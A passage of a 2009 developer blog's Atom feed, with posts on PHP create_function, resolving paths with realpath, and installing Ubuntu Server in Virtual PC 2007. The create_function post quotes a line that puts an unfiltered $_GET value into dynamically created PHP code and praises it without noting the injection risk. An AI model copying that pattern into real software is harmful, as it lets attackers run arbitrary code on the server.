href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7414358749487301716'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/list-all-hooked-wordpress-function.html' title='list all hooked wordpress function'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-5941943850989752122</id><published>2009-07-08T14:38:00.003+08:00</published><updated>2009-07-08T23:43:07.083+08:00</updated><title type='text'>php create function on the fly</title><content type='html'>I'm currently studying wordpress code becoz I need to hack theme preview.I want change CSS style when preview themes function called. Current wordpress method, they'll read style.css by theme name but I don't want to do that since I develop a library for CSS Style. During hacking process, I realize this code&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;add_filter('stylesheet', create_function('', "return '{$_GET['stylesheet']}';") );&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Not &lt;span style="font-weight: bold;"&gt;add_filter&lt;/span&gt; daaa. can you see &lt;span style="font-weight: bold;"&gt;create_function(&lt;/span&gt; inside add_filter ?&lt;br /&gt;&lt;br /&gt;Then I ask google by using keyword&lt;a href="http://www.google.com.my/search?q=php+create_function&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt; php create_function&lt;/a&gt; and &lt;a href="http://us2.php.net/manual/en/function.create-function.php"&gt;found this result.&lt;/a&gt; wah... so easy to create function on the fly using php.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-5941943850989752122?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/5941943850989752122/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/php-create-function-on-fly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/5941943850989752122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/5941943850989752122'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/php-create-function-on-fly.html' title='php create function on the fly'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-4940742332114871761</id><published>2009-07-08T11:54:00.003+08:00</published><updated>2009-07-08T12:03:20.470+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>php how to get real path for virtual directory</title><content type='html'>for the normal site you can use &lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;echo $_SERVER['DOCUMENT_ROOT'];&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;to get absolute path of root.&lt;br /&gt;I had a problem to get absolute path when I put my code inside virtual/alias directory. when I use &lt;span style="font-weight:bold;"&gt;echo $_SERVER['DOCUMENT_ROOT'];&lt;/span&gt; , it will return absolute path for document root. Not my virtual directory.&lt;br /&gt;&lt;br /&gt;How ever, here is the solution for my problem.&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;echo realpath('./');&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-4940742332114871761?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/4940742332114871761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/php-how-to-get-real-path-for-virtual.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/4940742332114871761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/4940742332114871761'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/php-how-to-get-real-path-for-virtual.html' title='php how to get real path for virtual directory'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-7839396278275412983</id><published>2009-07-02T09:02:00.011+08:00</published><updated>2009-07-02T12:49:28.348+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='operating system'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installing ubuntu on Virtual PC 2007</title><content type='html'>How to install ubuntu on Virtual PC 2007.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1&lt;/span&gt;&lt;br /&gt;After you &lt;a href="http://geekpreneur.blogspot.com/2009/06/can-i-install-multiple-os-in-one.html#links"&gt;install Virtual PC 2007&lt;/a&gt;, open it and start your ubuntu virtual file.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skv3ZbHcGcI/AAAAAAAAAHw/baso5UDQL1g/s1600-h/step10.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 226px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skv3ZbHcGcI/AAAAAAAAAHw/baso5UDQL1g/s320/step10.jpg" alt="" id="BLOGGER_PHOTO_ID_5353644598207715778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you want to change virtual PC settings, just click on &lt;span style="font-weight: bold;"&gt;Settings button &lt;/span&gt;and you will find some configuration for your virtual PC like a hardisk space, memory and etc.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/Skv4ba1OlRI/AAAAAAAAAH4/TPsDZ8885Q0/s1600-h/step11.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 226px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/Skv4ba1OlRI/AAAAAAAAAH4/TPsDZ8885Q0/s320/step11.jpg" alt="" id="BLOGGER_PHOTO_ID_5353645732002698514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2&lt;/span&gt;&lt;br /&gt;After you start your ubuntu virtual file, go to &lt;span style="font-weight: bold;"&gt;CD-&gt;Use physical drive&lt;/span&gt; if you want to install it from your cd rom or &lt;span style="font-weight: bold;"&gt;CD-&gt;Capture ISO Image&lt;/span&gt; if you want to install directly from ISO file.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skv6ggCD4zI/AAAAAAAAAIA/stkEuz2Nnf8/s1600-h/step12.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 235px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skv6ggCD4zI/AAAAAAAAAIA/stkEuz2Nnf8/s320/step12.jpg" alt="" id="BLOGGER_PHOTO_ID_5353648018321302322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3&lt;/span&gt;&lt;br /&gt;Reboot your Virtual PC by &lt;span style="font-weight: bold;"&gt;Right Alt + R&lt;/span&gt; or go to &lt;span style="font-weight: bold;"&gt;Action-&gt;Reset&lt;/span&gt; menu.Wait untill your Virtual PC boot from your CDRom/ISO.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 4&lt;/span&gt;&lt;br /&gt;Here you go. Installing ubuntu on Virtual PC 2007 will start from here. Select your prefered language and press &lt;span style="font-weight: bold;"&gt;Enter &lt;/span&gt;to continue.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwCcy8PvAI/AAAAAAAAAII/Jj1gjqSFFdw/s1600-h/step13.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwCcy8PvAI/AAAAAAAAAII/Jj1gjqSFFdw/s320/step13.jpg" alt="" id="BLOGGER_PHOTO_ID_5353656750770732034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 5&lt;/span&gt;&lt;br /&gt;press F6 and enter &lt;span style="font-weight: bold;"&gt;vga=771 noreplace-paravirt&lt;/span&gt; at the end of the line. Press &lt;span style="font-weight: bold;"&gt;Enter &lt;/span&gt;to continue.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwCmbdP82I/AAAAAAAAAIQ/OHc_zxQxZQM/s1600-h/step14.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 270px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwCmbdP82I/AAAAAAAAAIQ/OHc_zxQxZQM/s320/step14.jpg" alt="" id="BLOGGER_PHOTO_ID_5353656916265399138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 6&lt;/span&gt;&lt;br /&gt;Choose your language and press Enter to continue and then choose country.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwCvDNgZBI/AAAAAAAAAIY/zy-MhhBEH_s/s1600-h/step15.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwCvDNgZBI/AAAAAAAAAIY/zy-MhhBEH_s/s320/step15.jpg" alt="" id="BLOGGER_PHOTO_ID_5353657064375739410" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwDOQi8x4I/AAAAAAAAAIg/inewnPNhBzo/s1600-h/step16.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwDOQi8x4I/AAAAAAAAAIg/inewnPNhBzo/s320/step16.jpg" alt="" id="BLOGGER_PHOTO_ID_5353657600531285890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 7&lt;/span&gt;&lt;br /&gt;Installer will ask your keyboard layout. From this screen, you need to follow screen instruction&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwDfa-YjbI/AAAAAAAAAIo/8prgi-hKAbo/s1600-h/step17.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwDfa-YjbI/AAAAAAAAAIo/8prgi-hKAbo/s320/step17.jpg" alt="" id="BLOGGER_PHOTO_ID_5353657895388482994" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwD0FW5M_I/AAAAAAAAAIw/-2uh5Uv-gNI/s1600-h/step18.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwD0FW5M_I/AAAAAAAAAIw/-2uh5Uv-gNI/s320/step18.jpg" alt="" id="BLOGGER_PHOTO_ID_5353658250362958834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 8&lt;/span&gt;&lt;br /&gt;Enter your host name, this is your ubuntu computer name. can be your name and anything.press Enter to continue and follow your screen instruction.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 9&lt;/span&gt;&lt;br /&gt;Partitioning disk. select &lt;span style="font-weight: bold;"&gt;Guided - Select Entire Disk&lt;/span&gt; and press Enter to continue. &lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;Please bare in mind, this partitioning disk is virtually partitioning and do not effect your physical disk. So don't be scared... your data will not be deleted.&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwEDRfhTzI/AAAAAAAAAI4/Z8OGPMZuz1Q/s1600-h/step19.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwEDRfhTzI/AAAAAAAAAI4/Z8OGPMZuz1Q/s320/step19.jpg" alt="" id="BLOGGER_PHOTO_ID_5353658511318404914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 10&lt;/span&gt;&lt;br /&gt;Even tho this screen mentioned that your data will be erased, don't be scared. ;) it happen virtually only. But if you Install ubuntu into real PC, you must take a consideration.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwEQX5AlCI/AAAAAAAAAJA/1ODNQ2oapcs/s1600-h/step20.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwEQX5AlCI/AAAAAAAAAJA/1ODNQ2oapcs/s320/step20.jpg" alt="" id="BLOGGER_PHOTO_ID_5353658736374223906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 11&lt;/span&gt;&lt;br /&gt;Select &lt;span style="font-weight: bold;"&gt;Yes &lt;/span&gt;and press Enter.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwEZUhrmgI/AAAAAAAAAJI/gZelfF5akHc/s1600-h/step21.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwEZUhrmgI/AAAAAAAAAJI/gZelfF5akHc/s320/step21.jpg" alt="" id="BLOGGER_PHOTO_ID_5353658890089896450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 12&lt;/span&gt;&lt;br /&gt;Setup user account and username.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF1jqLl6I/AAAAAAAAAJQ/cVPZJnkKWbM/s1600-h/step22.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF1jqLl6I/AAAAAAAAAJQ/cVPZJnkKWbM/s320/step22.jpg" alt="" id="BLOGGER_PHOTO_ID_5353660474700044194" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF1ybY5UI/AAAAAAAAAJY/GwJU0lg_mL4/s1600-h/step23.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF1ybY5UI/AAAAAAAAAJY/GwJU0lg_mL4/s320/step23.jpg" alt="" id="BLOGGER_PHOTO_ID_5353660478664533314" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF2IT8UrI/AAAAAAAAAJg/YauaRNuiNeM/s1600-h/step24.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF2IT8UrI/AAAAAAAAAJg/YauaRNuiNeM/s320/step24.jpg" alt="" id="BLOGGER_PHOTO_ID_5353660484538880690" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF2Sj2TDI/AAAAAAAAAJo/h83d9GEA8jM/s1600-h/step25.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF2Sj2TDI/AAAAAAAAAJo/h83d9GEA8jM/s320/step25.jpg" alt="" id="BLOGGER_PHOTO_ID_5353660487289949234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 13&lt;/span&gt;&lt;br /&gt;Choose whether you want to encrypt your private directory or not&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF2v9K8bI/AAAAAAAAAJw/UOgK098fbgo/s1600-h/step26.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwF2v9K8bI/AAAAAAAAAJw/UOgK098fbgo/s320/step26.jpg" alt="" id="BLOGGER_PHOTO_ID_5353660495180788146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 14&lt;/span&gt;&lt;br /&gt;Configuring package manager. Just press Enter key to continue.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkwGxJ6PRdI/AAAAAAAAAJ4/hM6-MkU9ABw/s1600-h/step27.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkwGxJ6PRdI/AAAAAAAAAJ4/hM6-MkU9ABw/s320/step27.jpg" alt="" id="BLOGGER_PHOTO_ID_5353661498580223442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 15&lt;/span&gt;&lt;br /&gt;Configure update setting&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwIX1yLbCI/AAAAAAAAAKA/1B9-j9BeJBA/s1600-h/step28.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwIX1yLbCI/AAAAAAAAAKA/1B9-j9BeJBA/s320/step28.jpg" alt="" id="BLOGGER_PHOTO_ID_5353663262704233506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 16&lt;/span&gt;&lt;br /&gt;Since we're installing ubuntu server, we need to choose software to install in that server. I'm choosing mail server for this purpose.press Enter to continue.Just a few step ahead for Installing ubuntu on Virtual PC 2007.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwIYIeQdnI/AAAAAAAAAKI/_gOZe-To0Ro/s1600-h/step29.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkwIYIeQdnI/AAAAAAAAAKI/_gOZe-To0Ro/s320/step29.jpg" alt="" id="BLOGGER_PHOTO_ID_5353663267720951410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 17&lt;/span&gt;&lt;br /&gt;Taraaaa! almost done.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwKr5pr6ZI/AAAAAAAAAKQ/U3GMx3Yyll0/s1600-h/step30.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkwKr5pr6ZI/AAAAAAAAAKQ/U3GMx3Yyll0/s320/step30.jpg" alt="" id="BLOGGER_PHOTO_ID_5353665806362995090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;but not really done. There are a few step after installation finish. Fix ubuntu screen on Virtual PC 2007&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-7839396278275412983?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/7839396278275412983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/installing-ubuntu-on-virtual-pc-2007.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7839396278275412983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7839396278275412983'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/installing-ubuntu-on-virtual-pc-2007.html' title='Installing ubuntu on Virtual PC 2007'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skv3ZbHcGcI/AAAAAAAAAHw/baso5UDQL1g/s72-c/step10.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-7099210711768408033</id><published>2009-06-30T22:28:00.015+08:00</published><updated>2009-06-30T23:59:46.027+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='operating system'/><category scheme='http://www.blogger.com/atom/ns#' term='virtual machine'/><title type='text'>Can I install multiple OS in one computer without reboot?</title><content type='html'>The answer is &lt;span style="font-weight: bold;"&gt;yes&lt;/span&gt;. You can use virtual machine to do that. Virtual Machine is a &lt;a href="http://en.wikipedia.org/wiki/Software" title="Software" class="mw-redirect"&gt;software&lt;/a&gt; implementation of a machine (computer) that executes programs like a real machine. In layman term, you can install OS virtually in one computer with capability same as a real computer.. err. can understand or not ??. :) . The most popular virtual machine is VMWare and you can download it free at &lt;a href="http://www.vmware.com/download/"&gt;vmware.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;There are a lot of Virtual Machine out there from open source license as well as proprietary. You may see &lt;a href="http://en.wikipedia.org/wiki/Comparison_of_platform_virtual_machines"&gt;comparison of platform virtual machine&lt;/a&gt; to help you made a decisions which Virtual Machine is suitable with your needs.&lt;br /&gt;&lt;br /&gt;How ever, I would like to share with you how to install ubuntu in MS Virtual PC 2007.&lt;br /&gt;&lt;br /&gt;First of all, you need to download &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=04D26402-3199-48A3-AFA2-2DC0B40A73B6&amp;amp;displaylang=en"&gt;Microsoft Virtual PC 2007&lt;/a&gt; and &lt;a href="http://www.ubuntu.com/getubuntu/download"&gt;Ubuntu ISO&lt;/a&gt; from their respective site. If your internet connection is too slow, you can get a free DVD copy of ubuntu installer from ubuntu &lt;a href="https://shipit.ubuntu.com/"&gt;request a free cd&lt;/a&gt; site. No option for Microsoft Virtual PC 2007, you need to download it with approximate size 30.4MB. Otherwise you can get your friend to help you download it for you or go to cyber cafe and download it. Both file are free.&lt;br /&gt;&lt;br /&gt;For this tutorial I will use MS Windows XP as a host, MS Virtual PC 2007 and Ubuntu 8.10 Server Edition.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1&lt;/span&gt;&lt;br /&gt;Install MS Virtual PC 2007 . click on setup.exe and follow the installation instruction.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkotxQ00kkI/AAAAAAAAAGE/KQU-uL5lY88/s1600-h/step1.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 245px;" src="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkotxQ00kkI/AAAAAAAAAGE/KQU-uL5lY88/s320/step1.jpg" alt="" id="BLOGGER_PHOTO_ID_5353141431436612162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Configure virtual pc 2007 to install ubuntu. Click on Microsoft Virtual PC icon in your program files. Since this is your first time, then you need to configure new.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/Skowhauj19I/AAAAAAAAAGM/kptkBLzZA0Y/s1600-h/step2.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/Skowhauj19I/AAAAAAAAAGM/kptkBLzZA0Y/s320/step2.jpg" alt="" id="BLOGGER_PHOTO_ID_5353144457751680978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;click next and select "Create a virtual machine" radio button. After that, click next.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkoxCPYAGbI/AAAAAAAAAGU/5kDiBupd8D4/s1600-h/step3.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkoxCPYAGbI/AAAAAAAAAGU/5kDiBupd8D4/s320/step3.jpg" alt="" id="BLOGGER_PHOTO_ID_5353145021639956914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Named your virtual machine file. You can change virtual machine file location by click on browse button. After that, click next.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkoxWPpZE8I/AAAAAAAAAGc/DCOwCweiHHk/s1600-h/step4.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkoxWPpZE8I/AAAAAAAAAGc/DCOwCweiHHk/s320/step4.jpg" alt="" id="BLOGGER_PHOTO_ID_5353145365310280642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Choose operating system from combo box. Choose other since we will install ubuntu then click next.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkoxyRnl--I/AAAAAAAAAGk/CkrK8boI6lA/s1600-h/step5.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/SkoxyRnl--I/AAAAAAAAAGk/CkrK8boI6lA/s320/step5.jpg" alt="" id="BLOGGER_PHOTO_ID_5353145846875945954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Allocate RAM for your virtual machine.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkoySaMuaAI/AAAAAAAAAGs/Dcils5xaXcY/s1600-h/step6.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://4.bp.blogspot.com/_Z7Dw9YXAAV8/SkoySaMuaAI/AAAAAAAAAGs/Dcils5xaXcY/s320/step6.jpg" alt="" id="BLOGGER_PHOTO_ID_5353146398934984706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Create virtual harddisk for your virtual machine. You can choose an existing virtual harddisk if you already have it. In this tutorial, I'll choose "a new virtual hard disk" option. After that, click next.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 